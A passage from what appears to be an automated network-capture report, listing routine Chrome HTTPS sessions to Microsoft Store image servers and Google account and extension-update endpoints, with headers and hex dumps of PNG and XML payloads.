3e ad 1b ac fc d0 98 be 49 b0 bc e6 8e 7c c3 9b de 7c fb 6b 7f e7 fb 5a 7b 9a 76 07 e6 06 57 db 58 9a 7e b9 8f 52 98 b1 
67 96 82 58 f7 74 1b 13 a3 b9 06 1b c4 65 93 50 40 be 5a 90 8d 2b 68 73 99 6a f1 b5 c8 34 43 c0 ca 2b 4b 1c bd 4f 60 8f 
2f 2e 83 e4 4f ed e6 69 a7 6b 70 cc 81 4e 7c b8 d1 eb 2d 21 16 58 fc 27 7e a6 39 0e c4 87 e3 3a 07 65 bb 0e cc e1 08 f6 
84 69 ae f8 82 9d 04 01 2f dc 54 dd b6 05 39 0a 3b 19 
Data Ascii: H}>nJ?`r,1%f?X>2KJ|l0):+y4>%&rHmWTqOc:y_F>I||kZ{vWX~RgXteP@Z+hsj4C+KO`/.OikpN|-!X'~9:ei/T9;

2022-06-08 07:53:56 UTC 346 IN Data Raw: a0 27 87 45 1e cc 16 70 f6 cb 5c f8 7a d8 cc e1 da 87 00 9e bf f9 53 ff c2 d7 aa 5d f4 44 83 b6 74 eb ca d6 f6 
f8 d3 4f 63 ca 37 4f 08 0a 64 d1 bd 42 66 5e c4 7f d6 97 7c f3 ed 5b be e7 e9 57 ce d0 da 0c 6f 06 34 b9 7b c4 ec d5 e8 
de 62 64 d4 b3 c7 f8 62 c3 7d 59 ba 27 d5 9c 0e cf 61 cd c7 e5 25 26 2f 89 be 56 ae c7 4a 95 06 20 18 e6 d3 48 99 27 e3 
2a ed 6d f1 eb 7c d9 b2 c2 bd 3e 74 17 eb 10 48 40 4e 73 c6 de 99 ed 0b 7e 39 c1 67 04 83 1e 73 6c d1 b7 6f e2 e4 b4 3f 
33 f1 91 7b 9e 3c e8 7a 79 70 4a 57 7f bb 8c 01 b7 fc 09 6b c8 e1 1b c3 e2 5e b6 e7 50 fc 3b fa dd 57 7f ea cb bf b5 ce 9c 
be f9 73 c2 dd 4f 5c dd d0 75 ad f8 d5 27 5c 95 6c 4e bc 0d cc 4f 5c 16 1e 1f aa f2 3d f7 17 df f2 e2 ed f7 7c f6 df 94 f4 34 
e8 00 4f 29 fc 57 9b d6 ea 89 ec c7 ad 5b bd 
Data Ascii: 'Ep\zS]DtOc7OdBf^|[Wo4{bdb}Y'a%&/VJ H'*m|>tH@Ns~9gslo?3{<zypJWk^P;WsO\u'\lNO\=|4O)W[

2022-06-08 07:53:56 UTC 362 IN Data Raw: 54 cd 26 80 c4 55 75 a8 27 2c be c9 34 79 bd 04 da 20 68 66 5c 7c b1 77 aa ff af b5 b3 51 93 24 59 71 ec 77 
67 fb fd 1f 79 66 91 e0 60 72 0b 8f a8 ea 9d b5 db e9 80 10 02 37 ff c9 c8 ac ba dd 52 7a ac 3f c5 0f f2 15 64 2d 3e 16 aa 
e2 c4 e4 7f 19 d1 25 70 b1 a9 83 8f bd 39 fe 1d 96 40 1e 5c f9 fc 98 e6 0d ac 51 1a 3b 0f ae 45 6a 22 d7 79 b4 ca 69 c2 
59 f2 cd 51 ce 0f fc 49 76 9f b9 60 86 9f 17 ef a9 93 75 25 ee b0 6f c2 9e ad 1b 7a 8e 43 35 c8 45 ef 59 49 56 af 9a 87 6f 
f4 5d 9d b3 17 7b de 16 9e c3 bf fd d7 de c4 05 40 aa 86 31 47 4f d1 60 8a dd 57 67 2f 1d 2d 0d 10 ae 31 c7 03 ea 17 ee 
c5 b1 d6 24 55 42 8d dc ee f3 c4 44 68 e9 dc 4b b1 63 a9 c5 88 b5 7e 01 d1 6f d3 2e a9 28 00 e6 71 b9 f2 9c 8f b9 2b ab 
c4 20 c7 78 ae e2 77 ed e4 33 1e 68 46 db 42 d7 cd 
Data Ascii: T&Uu',4y hf\|wQ$Yqwgyf`r7Rz?d->%p9@\Q;Ej"yiYQIv`u%ozC5EYIVo]{@1GO`Wg/-1$UBDhKc~o.(q+ xw3hFB

2022-06-08 07:53:56 UTC 374 IN Data Raw: 4d aa 43 fd c3 2c 86 2a c8 e1 55 df 73 c9 0b df e0 c1 5c ab 10 47 56 5f b3 6e 4d 72 1f 37 15 f5 14 96 75 6d f4 
d3 40 19 8a 2a 1d 6f 4b d5 5b 73 74 74 51 3c c6 c4 5b 27 8d c1 fc 23 99 49 a3 5b be 79 43 de d9 89 d5 b0 d6 84 6e 90 
be e7 1b 3d 93 d0 eb b2 ae 8b 7e 72 b7 3e fc 37 6c 24 96 9f 1c e5 32 7e f3 13 83 2f 2c c7 4d fc f6 89 65 73 a1 8b 55 0e ff 
b6 e4 d4 93 87 46 98 d6 2f ae 72 7c 99 7c c7 73 12 ab 59 f1 37 3d e1 a2 93 97 1e 3e 39 30 c5 60 dc 33 f4 50 cc bd 77 df 
cb d4 a1 33 e3 29 b4 9e f2 ac d5 2f c0 75 0c 87 be 70 f9 14 84 35 7f e2 b7 bc 52 c6 a3 9e f9 37 67 0e 4d c5 6e bf 7e 24 
04 8c e6 82 bc 26 57 c6 9b 50 5c 0d 79 de 77 f0 ce 58 fc ed ee ae d4 31 74 87 be ec 4e 9b c0 09 50 f0 88 b3 ae 85 07 29 
53 b1 b8 7e 39 94 45 9b 0b e9 d3 9b 9a 0f 4d c8 2f 9a 
Data Ascii: MC,*Us\GV_nMr7um@*oK[sttQ<['#I[yCn=~r>7l$2~/,MesUF/r||sY7=>90`3Pw3)/up5R7gMn~$&WP\ywX1tN
P)S~9EM/

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

23 192.168.2.3 49727 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-06-08 07:53:56 UTC 376 OUT GET /image/apps.23070.9007199266246761.cc710c1e-2e5d-4241-97cb-d944f43f9af1.8e7acf32-4622-490b-b63f-
0ba9c0d9a24e?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-06-08 07:53:56 UTC 377 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Type: image/png
Last-Modified: Fri, 03 Jun 2022 23:39:57 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4REE0NUJBNUUxQzE0ODQ"
MS-CV: khPkmUs4nEe0OA80.0
Access-Control-Expose-Headers: MS-CV
Content-Length: 8562
Date: Wed, 08 Jun 2022 07:53:56 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-06-08 07:53:56 UTC 377 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8e 00 00 00 8e 08 06 00 00 00 e7 fd 30 08 00 00 
00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 26 
69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 6
9 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 
20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 
78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 37 2e 31 2d 63 30 30 30 20 37 39 2e 39 63 63 63 34 
64 65 39 33 2c 20 32 30 32 32 2f 30 33 2f 31 34 2d 31 34 3a 30 37 3a 32 
Data Ascii: PNGIHDR0tEXtSoftwareAdobe ImageReadyqe<&iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0
MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.9ccc4de93, 
2022/03/14-14:07:2

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

24 192.168.2.3 49728 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-06-08 07:53:56 UTC 376 OUT GET /image/apps.32938.13925855090824389.09f473d9-ce97-499c-9d53-c21e8f64ee62.721cfb02-7935-45dc-9d66-
2d6e6b2ff76c?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-06-08 07:53:56 UTC 386 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 16325
Content-Type: image/png
Last-Modified: Fri, 29 Apr 2022 10:42:47 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4REEyOUNEMDAxMzU3OTU"
MS-CV: zhWxFSME9UiFbJ9+.0
Access-Control-Expose-Headers: MS-CV
Date: Wed, 08 Jun 2022 07:53:56 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-06-08 07:53:56 UTC 386 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8e 00 00 00 8e 08 06 00 00 00 e7 fd 30 08 00 00 
00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 44 65 58 49 66 4d 4d 00 2a 00 00 00 08 00 01 87 69 00 04 00 00 00 01 00 00 
00 1a 00 00 00 00 00 03 a0 01 00 03 00 00 00 01 00 01 00 00 a0 02 00 04 00 00 00 01 00 00 00 8e a0 03 00 04 00 00 00 
01 00 00 00 8e 00 00 00 00 b6 9a 42 80 00 00 3f 2f 49 44 41 54 78 01 cd 9d 59 ac 6d db 51 9e e7 bd f7 b8 37 6e e9 4c 67 
dc 80 6d 7a 22 ba 10 9a 00 7e 08 a4 e3 c1 90 28 34 12 e1 21 41 28 4a 88 10 21 02 d2 10 81 02 02 89 80 88 20 0f 09 88 
2e 40 12 d1 93 20 08 84 46 01 0c 08 08 04 1b 30 18 6c 82 e9 6d 63 83 fb 9b fa fe aa bf 66 cd b1 e6 3a e7 1a fb 9e ed 71 
cf 9a 55 f5 d7 5f 35 6a 8e 51 7b ac b9 f6 de e7 dc 7b b6 6f fa 77 f7 
Data Ascii: PNGIHDR0sRGBDeXIfMM*iB?/IDATxYmQ7nLgmz"~(4!A(J! .@ F0lmcf:qU_5jQ{{ow

2022-06-08 07:53:56 UTC 402 IN Data Raw: c4 3a 8f 63 58 2f eb 92 5e bf c1 25 c6 9c 95 ef 9c f8 ad af 1c de 55 1c ef 39 92 5f ff 13 10 07 57 0e 89 07 82 35 
07 a5 6e e4 76 39 9a 1f 24 e9 dc ec 1a bb e4 e9 98 50 dc 80 96 c4 fa ab 8c 79 cd 45 f2 22 fd 5c f0 30 0f 1c db 33 ee 0c 
9b 7e eb f0 18 b6 cf e6 c1 e7 97 b9 17 76 dd ef 05 3e 62 db 07 17 23 e4 6c 8a f6 af 31 4b 6e 78 0c f3 0f 72 70 2f 38 c3 e7 
98 8b ff 73 80 93 6b 86 71 69 3c 14 f4 c8 d5 1b 79 da 34 0e a8 49 47 aa 5e 6c b0 6e 02 f4 41 ba d0 2b 8f e6 35 77 e4 36 
7f ca b9 99 13 67 9a 69 4f dd 3e b0 33 1c 3f 63 fa 56 ee 99 4d 8c ea a9 9a cd 99 d2 79 2f b0 19 c3 02 c4 58 ef 6d c6 f8 8b 
69 62 c4 4c db 1c 76 92 4f b8 e9 1b 27 0c 73 06 e8 fd 99 b1 e4 ba 45 84 9c 78 aa 28 61 78 e7 a8 44 86 34 31 31 cb e8 5c 
81 cb 6d ce 1a 4f 1c f3 d5 bc fe 4a 32 3d 83 
Data Ascii: :cX/^%U9_W5nv9$PyE"\03~v>b#l1Knxrp/8skqi<y4IG^lnA+5w6giO>3?cVMy/XmibLvO'sEx(axD411\mOJ2=
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Session ID Source IP Source Port Destination IP
Destination
Port

Process

25 192.168.2.3 49729 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-06-08 07:53:57 UTC 402 OUT GET /image/apps.41671.13634052595610511.c45457c9-b4af-46b0-8e61-8d7c0aec3f56.86b1d82d-8b47-4bda-99fc-
8a1db0a7ac9d?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-06-08 07:53:57 UTC 402 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 5350
Content-Type: image/png
Last-Modified: Fri, 04 Jun 2021 08:47:13 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDkyNzM1NTkzRDcwQUQ"
MS-CV: a3126vjzV0e5osTv.0
Access-Control-Expose-Headers: MS-CV
Date: Wed, 08 Jun 2022 07:53:57 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-06-08 07:53:57 UTC 403 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8e 00 00 00 8e 08 06 00 00 00 e7 fd 30 08 00 00 
00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c3 
00 00 0e c3 01 c7 6f a8 64 00 00 14 7b 49 44 41 54 78 5e ed 9d 09 78 15 d5 dd c6 c9 06 81 00 21 0b 01 12 b2 90 3d 81 0
0 05 51 91 45 64 91 55 10 a4 22 8b 02 22 d6 ad ee 68 f5 43 1f 17 6c 6b eb 57 b7 56 11 fc 5c 70 69 7d c4 16 7d 28 da 16 f
7 52 45 11 a1 ee 15 10 01 b5 52 10 42 36 b2 cd fb bd ff 99 9b 10 d2 03 4c 92 99 7b e7 de 7b de e7 f9 3d 97 84 64 ce 99 f
3 7f 73 ce 99 39 5b 3b 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d ad b0 56 1c c9 23 63 c9 c5 e4 4e 
f2 0c 59 4f 3e 21 df 92 72 52 47 40 ea 49 19 f9 8e 7c 4c e4 e7 9e 
Data Ascii: PNGIHDR0sRGBgAMAapHYsod{IDATx^x!=QEdU""hClkWV\pi}}(RERB6L{{=ds9[;---------------------V#
cNYO>!rRG@I|L

Session ID Source IP Source Port Destination IP
Destination
Port

Process

26 192.168.2.3 49732 172.217.168.45 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-06-08 07:54:00 UTC 408 OUT POST /ListAccounts?gpsia=1&source=ChromiumBrowser&json=standard HTTP/1.1
Host: accounts.google.com
Connection: keep-alive
Content-Length: 1
Origin: https://www.google.com
Content-Type: application/x-www-form-urlencoded
Sec-Fetch-Site: none
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: empty
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.
121 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

2022-06-08 07:54:00 UTC 408 OUT Data Raw: 20 
Data Ascii:  

Session ID Source IP Source Port Destination IP
Destination
Port

Process

27 192.168.2.3 49734 142.250.203.110 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-06-08 07:54:00 UTC 408 OUT GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&nacl_arch=x86-64&prod=chromecrx&prodchannel=
&prodversion=85.0.4183.121&lang=en-US&acceptformat=crx3&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%
3D0.0.0.0%26installedby%3Dother%26uc%26ping%3Dr%253D-1%2526e%253D1&x=id%3Dpkedcjkdefgpdelp
bcmbmeomcjbeemfm%26v%3D0.0.0.0%26installedby%3Dother%26uc%26ping%3Dr%253D-1%2526e%253D1 HTTP/1.1
Host: clients2.google.com
Connection: keep-alive
X-Goog-Update-Interactivity: fg
X-Goog-Update-AppId: nmmhkkegccagdldgiimedpiccmgmieda,pkedcjkdefgpdelpbcmbmeomcjbeemfm
X-Goog-Update-Updater: chromecrx-85.0.4183.121
Sec-Fetch-Site: none
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: empty
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.
121 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

28 142.250.203.110 443 192.168.2.3 49734 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-06-08 07:54:00 UTC 409 IN HTTP/1.1 200 OK
Content-Security-Policy: script-src 'report-sample' 'nonce-LanUqIR5KfKuIZtZICq1Xg' 'unsafe-inline' 'strict-dynamic' https: 
http:;object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/clientupdate-aus/1
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Date: Wed, 08 Jun 2022 07:54:00 GMT
Content-Type: text/xml; charset=UTF-8
X-Daynum: 5637
X-Daystart: 3240
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Server: GSE
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
Accept-Ranges: none
Vary: Accept-Encoding
Connection: close
Transfer-Encoding: chunked

2022-06-08 07:54:00 UTC 410 IN Data Raw: 33 36 63 0d 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 
54 46 2d 38 22 3f 3e 3c 67 75 70 64 61 74 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 
2e 63 6f 6d 2f 75 70 64 61 74 65 32 2f 72 65 73 70 6f 6e 73 65 22 20 70 72 6f 74 6f 63 6f 6c 3d 22 32 2e 30 22 20 73 65 
72 76 65 72 3d 22 70 72 6f 64 22 3e 3c 64 61 79 73 74 61 72 74 20 65 6c 61 70 73 65 64 5f 64 61 79 73 3d 22 35 36 33 
37 22 20 65 6c 61 70 73 65 64 5f 73 65 63 6f 6e 64 73 3d 22 33 32 34 30 22 2f 3e 3c 61 70 70 20 61 70 70 69 64 3d 22 6e 
6d 6d 68 6b 6b 65 67 63 63 61 67 64 6c 64 67 69 69 6d 65 64 70 69 63 63 6d 67 6d 69 65 64 61 22 20 63 6f 68 6f 72 74 
3d 22 31 3a 3a 22 20 63 6f 68 6f 72 74 6e 61 6d 65 3d 22 22 20 
Data Ascii: 36c<?xml version="1.0" encoding="UTF-8"?><gupdate xmlns="http://www.google.com/update2/response" p
rotocol="2.0" server="prod"><daystart elapsed_days="5637" elapsed_seconds="3240"/><app appid="nmmhkkegccagdldg
iimedpiccmgmieda" cohort="1::" cohortname="" 

2022-06-08 07:54:00 UTC 410 IN Data Raw: 6b 6b 65 67 63 63 61 67 64 6c 64 67 69 69 6d 65 64 70 69 63 63 6d 67 6d 69 65 64 61 2e 63 72 78 22 20 66 
70 3d 22 31 2e 38 31 65 33 61 34 64 34 33 61 37 33 36 39 39 65 31 62 37 37 38 31 37 32 33 66 35 36 62 38 37 31 37 31 
37 35 63 35 33 36 36 38 35 63 35 34 35 30 31 32 32 62 33 30 37 38 39 34 36 34 61 64 38 32 22 20 68 61 73 68 5f 73 68 
61 32 35 36 3d 22 38 31 65 33 61 34 64 34 33 61 37 33 36 39 39 65 31 62 37 37 38 31 37 32 33 66 35 36 62 38 37 31 37 
31 37 35 63 35 33 36 36 38 35 63 35 34 35 30 31 32 32 62 33 30 37 38 39 34 36 34 61 64 38 32 22 20 70 72 6f 74 65 63 
74 65 64 3d 22 30 22 20 73 69 7a 65 3d 22 32 34 38 35 33 31 22 20 73 74 61 74 75 73 3d 22 6f 6b 22 20 76 65 72 73 69 
6f 6e 3d 22 31 2e 30 2e 30 2e 36 22 2f 3e 3c 2f 61 70 70 3e 3c 61 70 70 20 
Data Ascii: kkegccagdldgiimedpiccmgmieda.crx" fp="1.81e3a4d43a73699e1b7781723f56b8717175c536685c5450
122b30789464ad82" hash_sha256="81e3a4d43a73699e1b7781723f56b8717175c536685c5450122b30789464ad82" pro
tected="0" size="248531" status="ok" version="1.0.0.6"/></app><app 

2022-06-08 07:54:00 UTC 411 IN Data Raw: 30 0d 0a 0d 0a 
Data Ascii: 0

Session ID Source IP Source Port Destination IP
Destination
Port

Process

29 172.217.168.45 443 192.168.2.3 49732 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-06-08 07:54:00 UTC 411 IN HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Access-Control-Allow-Origin: https://www.google.com
Access-Control-Allow-Credentials: true
X-Content-Type-Options: nosniff
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Date: Wed, 08 Jun 2022 07:54:00 GMT
Strict-Transport-Security: max-age=31536000; includeSubDomains
Report-To: {"group":"IdentityListAccountsHttp","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/rep
ort-to/IdentityListAccountsHttp/external"}]}
Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/IdentityListAccountsHttp/cspreport
Content-Security-Policy: script-src 'report-sample' 'nonce-51rf50CbVQ1MdzWK7DezAA' 'unsafe-inline';object-src 
'none';base-uri 'self';report-uri /_/IdentityListAccountsHttp/cspreport;worker-src 'self'
Content-Security-Policy: script-src 'nonce-51rf50CbVQ1MdzWK7DezAA' 'self' https://apis.google.com https://ssl.gstatic.co
m https://www.google.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/IdentityListAccountsHttp
/cspreport
Permissions-Policy: ch-ua-arch=*, ch-ua-bitness=*, ch-ua-full-version=*, ch-ua-full-version-list=*, ch-ua-model=*, ch-ua-
platform=*, ch-ua-platform-version=*
Cross-Origin-Opener-Policy: same-origin; report-to="IdentityListAccountsHttp"
Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-M
odel, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
Server: ESF
X-XSS-Protection: 0
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
Accept-Ranges: none
Vary: Accept-Encoding
Connection: close
Transfer-Encoding: chunked

2022-06-08 07:54:00 UTC 413 IN Data Raw: 31 31 0d 0a 5b 22 67 61 69 61 2e 6c 2e 61 2e 72 22 2c 5b 5d 5d 0d 0a 
Data Ascii: 11["gaia.l.a.r",[]]

2022-06-08 07:54:00 UTC 413 IN Data Raw: 30 0d 0a 0d 0a 
Data Ascii: 0

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

3 192.168.2.3 49706 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-06-08 07:53:52 UTC 57 OUT GET /image/apps.15881.13753891519397067.8011a592-e549-44a6-8073-41dcd83eddbe.bcf361e4-21f7-429d-877a-
6c55c1b655ff?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-06-08 07:53:52 UTC 64 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 3995
Content-Type: image/png
Last-Modified: Thu, 31 Mar 2022 05:44:11 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4REExMkQ5N0I1NEZGNzY"
MS-CV: j3ZlnqhXhku72AJi.0
Access-Control-Expose-Headers: MS-CV
Date: Wed, 08 Jun 2022 07:53:52 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-06-08 07:53:52 UTC 64 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 01 2c 08 03 00 00 00 4e a3 7e 47 00 00 
02 f7 50 4c 54 45 47 70 4c 1b 9d e1 1b 9d e2 1a 9b e1 19 99 de 19 96 dc 18 93 da 18 91 d7 16 8e d5 15 8c d3 15 89 cf 
15 86 cd 14 85 cc 14 85 cb 0f 7f c7 1a 9c e2 1b 9d e2 1a 9c e1 1a 9b e0 1a 9a df 1a 99 df 19 98 de 19 97 dd 19 98 dd 19 
97 dc 19 96 db 18 95 db 18 94 da 18 93 d9 18 92 d8 18 91 d7 18 90 d6 17 8f d6 17 8f d5 17 8f d5 17 8e d5 17 8d d4 17 8d 
d3 16 8c d3 16 8b d2 16 8a d1 15 89 d0 15 87 ce 15 88 cf 15 86 cd 16 87 ce 15 85 cc 14 85 cc 14 84 cb 15 84 cb 14 82 c
a 18 95 db 18 95 da 18 94 d9 17 90 d6 18 8f d5 15 87 cf 16 88 cf 14 83 cc 14 83 ca 16 65 a2 1a 9c e1 17 91 d7 14 82 ca 
14 82 ca 14 82 c9 15 8a d1 16 8b d1 14 81 c8 13 80 c8 13 80 c8 13 
Data Ascii: PNGIHDR,,N~GPLTEGpLe

Session ID Source IP Source Port Destination IP
Destination
Port

Process

30 192.168.2.3 49737 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe
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Timestamp
kBytes
transferred

Direction Data

2022-06-08 07:54:00 UTC 413 OUT GET /image/apps.5075.9007199266244427.c75d2ced-a383-40dc-babd-1ad2ceb13c86.f329a73d-1ae8-4445-aa4c-b
f40f3c5d62d?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-06-08 07:54:00 UTC 413 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 6001
Content-Type: image/png
Last-Modified: Thu, 10 Jun 2021 02:49:21 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDkyQkJBNTkzQjkwQjA"
MS-CV: yq21NaejzkmnbM2s.0
Access-Control-Expose-Headers: MS-CV
Date: Wed, 08 Jun 2022 07:54:00 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-06-08 07:54:00 UTC 414 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 01 2c 08 06 00 00 00 79 7d 8e 75 00 00 
00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c3 
00 00 0e c3 01 c7 6f a8 64 00 00 17 06 49 44 41 54 78 5e ed dd 09 b0 9d 65 7d c7 f1 4e 9d e9 4c db a9 62 20 a0 b6 45 7
1 69 15 15 a1 52 16 2b 8a ad 58 5b 75 da 2a 45 ac a2 16 ad d6 aa 5d 54 46 10 5b b5 56 b1 2e 38 5a a5 b2 24 0a 09 10 
b2 27 6c 49 48 42 58 b2 40 02 09 d9 20 24 64 83 2c 64 e5 dc b3 2f f7 fe fb fc 9e 9b 33 05 3c e0 bd c9 79 df f3 fe df f3 fd cf 
7c e6 86 2c f7 72 96 f7 77 9e e7 79 9f e5 d7 7e ff da 01 03 00 0f 08 2c 00 6e 10 58 00 dc 20 b0 00 b8 41 60 01 70 83 c0 
02 e0 06 81 05 c0 0d 02 0b 80 1b 04 16 00 37 08 2c 00 6e 10 58 
Data Ascii: PNGIHDR,,y}usRGBgAMAapHYsodIDATx^e}NLb EqiR+X[u*E]TF[V.8Z$'lIHBX@ $d,d/3<y|,rwy~,nX A`p7,nX

Session ID Source IP Source Port Destination IP
Destination
Port

Process

31 192.168.2.3 49738 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

